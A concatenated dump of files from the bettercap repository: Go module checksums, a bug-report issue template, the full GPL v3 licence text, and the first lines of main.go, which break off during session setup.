golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
golang.org/x/net v0.0.0-20190310074541-c10a0554eabf/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8=
golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d h1:LO7XpTYMwTqxjLcGWPijK3vRXg1aWdlNOVOHRq45d7c=
golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210820121016-41cdb8703e55 h1:rw6UNGRMfarCepjI8qOepea/SXwIBVfTKjztZ5gBbq4=
golang.org/x/sys v0.0.0-20210820121016-41cdb8703e55/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
gopkg.in/sourcemap.v1 v1.0.5 h1:inv58fC9f9J3TK2Y2R1NPntXEn3/wjWHkonhIUODNTI=
gopkg.in/sourcemap.v1 v1.0.5/go.mod h1:2RlvNNSMglmRrcvhfuzp4hQHwOtjxlbjX7UPY/GXb78=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= |
|
Markdown | bettercap/ISSUE_TEMPLATE.md | # Prerequisites
Please, before creating this issue make sure that you read the [README](https://github.com/bettercap/bettercap/blob/master/README.md), that you are running the [latest stable version](https://github.com/bettercap/bettercap/releases) and that you already searched [other issues](https://github.com/bettercap/bettercap/issues?q=is%3Aopen+is%3Aissue+label%3Abug) to see if your problem or request was already reported.
! PLEASE REMOVE THIS PART AND LEAVE ONLY THE FOLLOWING SECTIONS IN YOUR REPORT !
---
*Description of the bug or feature request*
### Environment
Please provide:
* Bettercap version you are using ( `bettercap -version` ).
* OS version and architecture you are using.
* Go version if building from sources.
* Command line arguments you are using.
* Caplet code you are using or the interactive session commands.
* **Full debug output** while reproducing the issue ( `bettercap -debug ...` ).
### Steps to Reproduce
1. *First Step*
2. *Second Step*
3. *and so on...*
**Expected behavior:** *What you expected to happen*
**Actual behavior:** *What actually happened*
--
**♥ ANY INCOMPLETE REPORT WILL BE CLOSED RIGHT AWAY ♥** |
Markdown | bettercap/LICENSE.md | GNU GENERAL PUBLIC LICENSE
==========================
Version 3, 29 June 2007
Copyright © 2007 Free Software Foundation, Inc. <<https://www.fsf.org/>>
Everyone is permitted to copy and distribute verbatim copies of this license
document, but changing it is not allowed.
## Preamble
The GNU General Public License is a free, copyleft license for software and other
kinds of works.
The licenses for most software and other practical works are designed to take away
your freedom to share and change the works. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change all versions of a
program--to make sure it remains free software for all its users. We, the Free
Software Foundation, use the GNU General Public License for most of our software; it
applies also to any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not price. Our General
Public Licenses are designed to make sure that you have the freedom to distribute
copies of free software (and charge for them if you wish), that you receive source
code or can get it if you want it, that you can change the software or use pieces of
it in new free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you these rights or
asking you to surrender the rights. Therefore, you have certain responsibilities if
you distribute copies of the software, or if you modify it: responsibilities to
respect the freedom of others.
For example, if you distribute copies of such a program, whether gratis or for a fee,
you must pass on to the recipients the same freedoms that you received. You must make
sure that they, too, receive or can get the source code. And you must show them these
terms so they know their rights.
Developers that use the GNU GPL protect your rights with two steps: (1) assert
copyright on the software, and (2) offer you this License giving you legal permission
to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains that there is
no warranty for this free software. For both users' and authors' sake, the GPL
requires that modified versions be marked as changed, so that their problems will not
be attributed erroneously to authors of previous versions.
Some devices are designed to deny users access to install or run modified versions of
the software inside them, although the manufacturer can do so. This is fundamentally
incompatible with the aim of protecting users' freedom to change the software. The
systematic pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we have designed
this version of the GPL to prohibit the practice for those products. If such problems
arise substantially in other domains, we stand ready to extend this provision to
those domains in future versions of the GPL, as needed to protect the freedom of
users.
Finally, every program is threatened constantly by software patents. States should
not allow patents to restrict development and use of software on general-purpose
computers, but in those that do, we wish to avoid the special danger that patents
applied to a free program could make it effectively proprietary. To prevent this, the
GPL assures that patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and modification follow.
## TERMS AND CONDITIONS
### 0. Definitions.
“This License” refers to version 3 of the GNU General Public License.
“Copyright” also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
“The Program” refers to any copyrightable work licensed under this
License. Each licensee is addressed as “you”. “Licensees” and
“recipients” may be individuals or organizations.
To “modify” a work means to copy from or adapt all or part of the work in
a fashion requiring copyright permission, other than the making of an exact copy. The
resulting work is called a “modified version” of the earlier work or a
work “based on” the earlier work.
A “covered work” means either the unmodified Program or a work based on
the Program.
To “propagate” a work means to do anything with it that, without
permission, would make you directly or secondarily liable for infringement under
applicable copyright law, except executing it on a computer or modifying a private
copy. Propagation includes copying, distribution (with or without modification),
making available to the public, and in some countries other activities as well.
To “convey” a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through a computer
network, with no transfer of a copy, is not conveying.
An interactive user interface displays “Appropriate Legal Notices” to the
extent that it includes a convenient and prominently visible feature that (1)
displays an appropriate copyright notice, and (2) tells the user that there is no
warranty for the work (except to the extent that warranties are provided), that
licensees may convey the work under this License, and how to view a copy of this
License. If the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
### 1. Source Code.
The “source code” for a work means the preferred form of the work for
making modifications to it. “Object code” means any non-source form of a
work.
A “Standard Interface” means an interface that either is an official
standard defined by a recognized standards body, or, in the case of interfaces
specified for a particular programming language, one that is widely used among
developers working in that language.
The “System Libraries” of an executable work include anything, other than
the work as a whole, that (a) is included in the normal form of packaging a Major
Component, but which is not part of that Major Component, and (b) serves only to
enable use of the work with that Major Component, or to implement a Standard
Interface for which an implementation is available to the public in source code form.
A “Major Component”, in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system (if any) on which
the executable work runs, or a compiler used to produce the work, or an object code
interpreter used to run it.
The “Corresponding Source” for a work in object code form means all the
source code needed to generate, install, and (for an executable work) run the object
code and to modify the work, including scripts to control those activities. However,
it does not include the work's System Libraries, or general-purpose tools or
generally available free programs which are used unmodified in performing those
activities but which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for the work, and
the source code for shared libraries and dynamically linked subprograms that the work
is specifically designed to require, such as by intimate data communication or
control flow between those subprograms and other parts of the work.
The Corresponding Source need not include anything that users can regenerate
automatically from other parts of the Corresponding Source.
The Corresponding Source for a work in source code form is that same work.
### 2. Basic Permissions.
All rights granted under this License are granted for the term of copyright on the
Program, and are irrevocable provided the stated conditions are met. This License
explicitly affirms your unlimited permission to run the unmodified Program. The
output from running a covered work is covered by this License only if the output,
given its content, constitutes a covered work. This License acknowledges your rights
of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not convey, without
conditions so long as your license otherwise remains in force. You may convey covered
works to others for the sole purpose of having them make modifications exclusively
for you, or provide you with facilities for running those works, provided that you
comply with the terms of this License in conveying all material for which you do not
control copyright. Those thus making or running the covered works for you must do so
exclusively on your behalf, under your direction and control, on terms that prohibit
them from making any copies of your copyrighted material outside their relationship
with you.
Conveying under any other circumstances is permitted solely under the conditions
stated below. Sublicensing is not allowed; section 10 makes it unnecessary.
### 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological measure under any
applicable law fulfilling obligations under article 11 of the WIPO copyright treaty
adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention
of such measures.
When you convey a covered work, you waive any legal power to forbid circumvention of
technological measures to the extent such circumvention is effected by exercising
rights under this License with respect to the covered work, and you disclaim any
intention to limit operation or modification of the work as a means of enforcing,
against the work's users, your or third parties' legal rights to forbid circumvention
of technological measures.
### 4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you receive it, in any
medium, provided that you conspicuously and appropriately publish on each copy an
appropriate copyright notice; keep intact all notices stating that this License and
any non-permissive terms added in accord with section 7 apply to the code; keep
intact all notices of the absence of any warranty; and give all recipients a copy of
this License along with the Program.
You may charge any price or no price for each copy that you convey, and you may offer
support or warranty protection for a fee.
### 5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to produce it from
the Program, in the form of source code under the terms of section 4, provided that
you also meet all of these conditions:
* **a)** The work must carry prominent notices stating that you modified it, and giving a
relevant date.
* **b)** The work must carry prominent notices stating that it is released under this
License and any conditions added under section 7. This requirement modifies the
requirement in section 4 to “keep intact all notices”.
* **c)** You must license the entire work, as a whole, under this License to anyone who
comes into possession of a copy. This License will therefore apply, along with any
applicable section 7 additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no permission to license the
work in any other way, but it does not invalidate such permission if you have
separately received it.
* **d)** If the work has interactive user interfaces, each must display Appropriate Legal
Notices; however, if the Program has interactive interfaces that do not display
Appropriate Legal Notices, your work need not make them do so.
A compilation of a covered work with other separate and independent works, which are
not by their nature extensions of the covered work, and which are not combined with
it such as to form a larger program, in or on a volume of a storage or distribution
medium, is called an “aggregate” if the compilation and its resulting
copyright are not used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work in an aggregate
does not cause this License to apply to the other parts of the aggregate.
### 6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms of sections 4 and
5, provided that you also convey the machine-readable Corresponding Source under the
terms of this License, in one of these ways:
* **a)** Convey the object code in, or embodied in, a physical product (including a
physical distribution medium), accompanied by the Corresponding Source fixed on a
durable physical medium customarily used for software interchange.
* **b)** Convey the object code in, or embodied in, a physical product (including a
physical distribution medium), accompanied by a written offer, valid for at least
three years and valid for as long as you offer spare parts or customer support for
that product model, to give anyone who possesses the object code either (1) a copy of
the Corresponding Source for all the software in the product that is covered by this
License, on a durable physical medium customarily used for software interchange, for
a price no more than your reasonable cost of physically performing this conveying of
source, or (2) access to copy the Corresponding Source from a network server at no
charge.
* **c)** Convey individual copies of the object code with a copy of the written offer to
provide the Corresponding Source. This alternative is allowed only occasionally and
noncommercially, and only if you received the object code with such an offer, in
accord with subsection 6b.
* **d)** Convey the object code by offering access from a designated place (gratis or for
a charge), and offer equivalent access to the Corresponding Source in the same way
through the same place at no further charge. You need not require recipients to copy
the Corresponding Source along with the object code. If the place to copy the object
code is a network server, the Corresponding Source may be on a different server
(operated by you or a third party) that supports equivalent copying facilities,
provided you maintain clear directions next to the object code saying where to find
the Corresponding Source. Regardless of what server hosts the Corresponding Source,
you remain obligated to ensure that it is available for as long as needed to satisfy
these requirements.
* **e)** Convey the object code using peer-to-peer transmission, provided you inform
other peers where the object code and Corresponding Source of the work are being
offered to the general public at no charge under subsection 6d.
A separable portion of the object code, whose source code is excluded from the
Corresponding Source as a System Library, need not be included in conveying the
object code work.
A “User Product” is either (1) a “consumer product”, which
means any tangible personal property which is normally used for personal, family, or
household purposes, or (2) anything designed or sold for incorporation into a
dwelling. In determining whether a product is a consumer product, doubtful cases
shall be resolved in favor of coverage. For a particular product received by a
particular user, “normally used” refers to a typical or common use of
that class of product, regardless of the status of the particular user or of the way
in which the particular user actually uses, or expects or is expected to use, the
product. A product is a consumer product regardless of whether the product has
substantial commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
“Installation Information” for a User Product means any methods,
procedures, authorization keys, or other information required to install and execute
modified versions of a covered work in that User Product from a modified version of
its Corresponding Source. The information must suffice to ensure that the continued
functioning of the modified object code is in no case prevented or interfered with
solely because modification has been made.
If you convey an object code work under this section in, or with, or specifically for
use in, a User Product, and the conveying occurs as part of a transaction in which
the right of possession and use of the User Product is transferred to the recipient
in perpetuity or for a fixed term (regardless of how the transaction is
characterized), the Corresponding Source conveyed under this section must be
accompanied by the Installation Information. But this requirement does not apply if
neither you nor any third party retains the ability to install modified object code
on the User Product (for example, the work has been installed in ROM).
The requirement to provide Installation Information does not include a requirement to
continue to provide support service, warranty, or updates for a work that has been
modified or installed by the recipient, or for the User Product in which it has been
modified or installed. Access to a network may be denied when the modification itself
materially and adversely affects the operation of the network or violates the rules
and protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided, in accord with
this section must be in a format that is publicly documented (and with an
implementation available to the public in source code form), and must require no
special password or key for unpacking, reading or copying.
### 7. Additional Terms.
“Additional permissions” are terms that supplement the terms of this
License by making exceptions from one or more of its conditions. Additional
permissions that are applicable to the entire Program shall be treated as though they
were included in this License, to the extent that they are valid under applicable
law. If additional permissions apply only to part of the Program, that part may be
used separately under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option remove any
additional permissions from that copy, or from any part of it. (Additional
permissions may be written to require their own removal in certain cases when you
modify the work.) You may place additional permissions on material, added by you to a
covered work, for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you add to a
covered work, you may (if authorized by the copyright holders of that material)
supplement the terms of this License with terms:
* **a)** Disclaiming warranty or limiting liability differently from the terms of
sections 15 and 16 of this License; or
* **b)** Requiring preservation of specified reasonable legal notices or author
attributions in that material or in the Appropriate Legal Notices displayed by works
containing it; or
* **c)** Prohibiting misrepresentation of the origin of that material, or requiring that
modified versions of such material be marked in reasonable ways as different from the
original version; or
* **d)** Limiting the use for publicity purposes of names of licensors or authors of the
material; or
* **e)** Declining to grant rights under trademark law for use of some trade names,
trademarks, or service marks; or
* **f)** Requiring indemnification of licensors and authors of that material by anyone
who conveys the material (or modified versions of it) with contractual assumptions of
liability to the recipient, for any liability that these contractual assumptions
directly impose on those licensors and authors.
All other non-permissive additional terms are considered “further
restrictions” within the meaning of section 10. If the Program as you received
it, or any part of it, contains a notice stating that it is governed by this License
along with a term that is a further restriction, you may remove that term. If a
license document contains a further restriction but permits relicensing or conveying
under this License, you may add to a covered work material governed by the terms of
that license document, provided that the further restriction does not survive such
relicensing or conveying.
If you add terms to a covered work in accord with this section, you must place, in
the relevant source files, a statement of the additional terms that apply to those
files, or a notice indicating where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the form of a
separately written license, or stated as exceptions; the above requirements apply
either way.
### 8. Termination.
You may not propagate or modify a covered work except as expressly provided under
this License. Any attempt otherwise to propagate or modify it is void, and will
automatically terminate your rights under this License (including any patent licenses
granted under the third paragraph of section 11).
However, if you cease all violation of this License, then your license from a
particular copyright holder is reinstated (a) provisionally, unless and until the
copyright holder explicitly and finally terminates your license, and (b) permanently,
if the copyright holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is reinstated permanently
if the copyright holder notifies you of the violation by some reasonable means, this
is the first time you have received notice of violation of this License (for any
work) from that copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the licenses of
parties who have received copies or rights from you under this License. If your
rights have been terminated and not permanently reinstated, you do not qualify to
receive new licenses for the same material under section 10.
### 9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or run a copy of the
Program. Ancillary propagation of a covered work occurring solely as a consequence of
using peer-to-peer transmission to receive a copy likewise does not require
acceptance. However, nothing other than this License grants you permission to
propagate or modify any covered work. These actions infringe copyright if you do not
accept this License. Therefore, by modifying or propagating a covered work, you
indicate your acceptance of this License to do so.
### 10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically receives a license
from the original licensors, to run, modify and propagate that work, subject to this
License. You are not responsible for enforcing compliance by third parties with this
License.
An “entity transaction” is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an organization, or
merging organizations. If propagation of a covered work results from an entity
transaction, each party to that transaction who receives a copy of the work also
receives whatever licenses to the work the party's predecessor in interest had or
could give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if the predecessor
has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the rights granted or
affirmed under this License. For example, you may not impose a license fee, royalty,
or other charge for exercise of rights granted under this License, and you may not
initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging
that any patent claim is infringed by making, using, selling, offering for sale, or
importing the Program or any portion of it.
### 11. Patents.
A “contributor” is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The work thus
licensed is called the contributor's “contributor version”.
A contributor's “essential patent claims” are all patent claims owned or
controlled by the contributor, whether already acquired or hereafter acquired, that
would be infringed by some manner, permitted by this License, of making, using, or
selling its contributor version, but do not include claims that would be infringed
only as a consequence of further modification of the contributor version. For
purposes of this definition, “control” includes the right to grant patent
sublicenses in a manner consistent with the requirements of this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free patent license
under the contributor's essential patent claims, to make, use, sell, offer for sale,
import and otherwise run, modify and propagate the contents of its contributor
version.
In the following three paragraphs, a “patent license” is any express
agreement or commitment, however denominated, not to enforce a patent (such as an
express permission to practice a patent or covenant not to sue for patent
infringement). To “grant” such a patent license to a party means to make
such an agreement or commitment not to enforce a patent against the party.
If you convey a covered work, knowingly relying on a patent license, and the
Corresponding Source of the work is not available for anyone to copy, free of charge
and under the terms of this License, through a publicly available network server or
other readily accessible means, then you must either (1) cause the Corresponding
Source to be so available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner consistent with
the requirements of this License, to extend the patent license to downstream
recipients. “Knowingly relying” means you have actual knowledge that, but
for the patent license, your conveying the covered work in a country, or your
recipient's use of the covered work in a country, would infringe one or more
identifiable patents in that country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or arrangement, you
convey, or propagate by procuring conveyance of, a covered work, and grant a patent
license to some of the parties receiving the covered work authorizing them to use,
propagate, modify or convey a specific copy of the covered work, then the patent
license you grant is automatically extended to all recipients of the covered work and
works based on it.
A patent license is “discriminatory” if it does not include within the
scope of its coverage, prohibits the exercise of, or is conditioned on the
non-exercise of one or more of the rights that are specifically granted under this
License. You may not convey a covered work if you are a party to an arrangement with
a third party that is in the business of distributing software, under which you make
payment to the third party based on the extent of your activity of conveying the
work, and under which the third party grants, to any of the parties who would receive
the covered work from you, a discriminatory patent license (a) in connection with
copies of the covered work conveyed by you (or copies made from those copies), or (b)
primarily for and in connection with specific products or compilations that contain
the covered work, unless you entered into that arrangement, or that patent license
was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting any implied
license or other defenses to infringement that may otherwise be available to you
under applicable patent law.
### 12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or otherwise)
that contradict the conditions of this License, they do not excuse you from the
conditions of this License. If you cannot convey a covered work so as to satisfy
simultaneously your obligations under this License and any other pertinent
obligations, then as a consequence you may not convey it at all. For example, if you
agree to terms that obligate you to collect a royalty for further conveying from
those to whom you convey the Program, the only way you could satisfy both those terms
and this License would be to refrain entirely from conveying the Program.
### 13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have permission to link or
combine any covered work with a work licensed under version 3 of the GNU Affero
General Public License into a single combined work, and to convey the resulting work.
The terms of this License will continue to apply to the part which is the covered
work, but the special requirements of the GNU Affero General Public License, section
13, concerning interaction through a network will apply to the combination as such.
### 14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of the GNU
General Public License from time to time. Such new versions will be similar in spirit
to the present version, but may differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the Program specifies that
a certain numbered version of the GNU General Public License “or any later
version” applies to it, you have the option of following the terms and
conditions either of that numbered version or of any later version published by the
Free Software Foundation. If the Program does not specify a version number of the GNU
General Public License, you may choose any version ever published by the Free
Software Foundation.
If the Program specifies that a proxy can decide which future versions of the GNU
General Public License can be used, that proxy's public statement of acceptance of a
version permanently authorizes you to choose that version for the Program.
Later license versions may give you additional or different permissions. However, no
additional obligations are imposed on any author or copyright holder as a result of
your choosing to follow a later version.
### 15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE
QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE
DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
### 16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY
COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS
PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL,
INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE
OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE
WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
### 17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided above cannot be
given local legal effect according to their terms, reviewing courts shall apply local
law that most closely approximates an absolute waiver of all civil liability in
connection with the Program, unless a warranty or assumption of liability accompanies
a copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
## How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest possible use to
the public, the best way to achieve this is to make it free software which everyone
can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest to attach them
to the start of each source file to most effectively state the exclusion of warranty;
and each file should have at least the “copyright” line and a pointer to
where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short notice like this
when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type 'show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'show c' for details.
The hypothetical commands 'show w' and 'show c' should show the appropriate parts of
the General Public License. Of course, your program's commands might be different;
for a GUI interface, you would use an “about box”.
You should also get your employer (if you work as a programmer) or school, if any, to
sign a “copyright disclaimer” for the program, if necessary. For more
information on this, and how to apply and follow the GNU GPL, see
<<https://www.gnu.org/licenses/>>.
The GNU General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may consider it
more useful to permit linking proprietary applications with the library. If this is
what you want to do, use the GNU Lesser General Public License instead of this
License. But first, please read
<<https://www.gnu.org/philosophy/why-not-lgpl.html>>. |
Go | bettercap/main.go | package main
import (
"fmt"
"io"
"os"
"strings"
"runtime"
"github.com/bettercap/bettercap/core"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/modules"
"github.com/bettercap/bettercap/session"
"github.com/evilsocket/islazy/str"
"github.com/evilsocket/islazy/tui"
)
func main() {
sess, err := session.New()
if err != nil {
fmt.Println(err)
os.Exit(1)
}
defer sess.Close()
if !tui.Effects() {
if *sess.Options.NoColors {
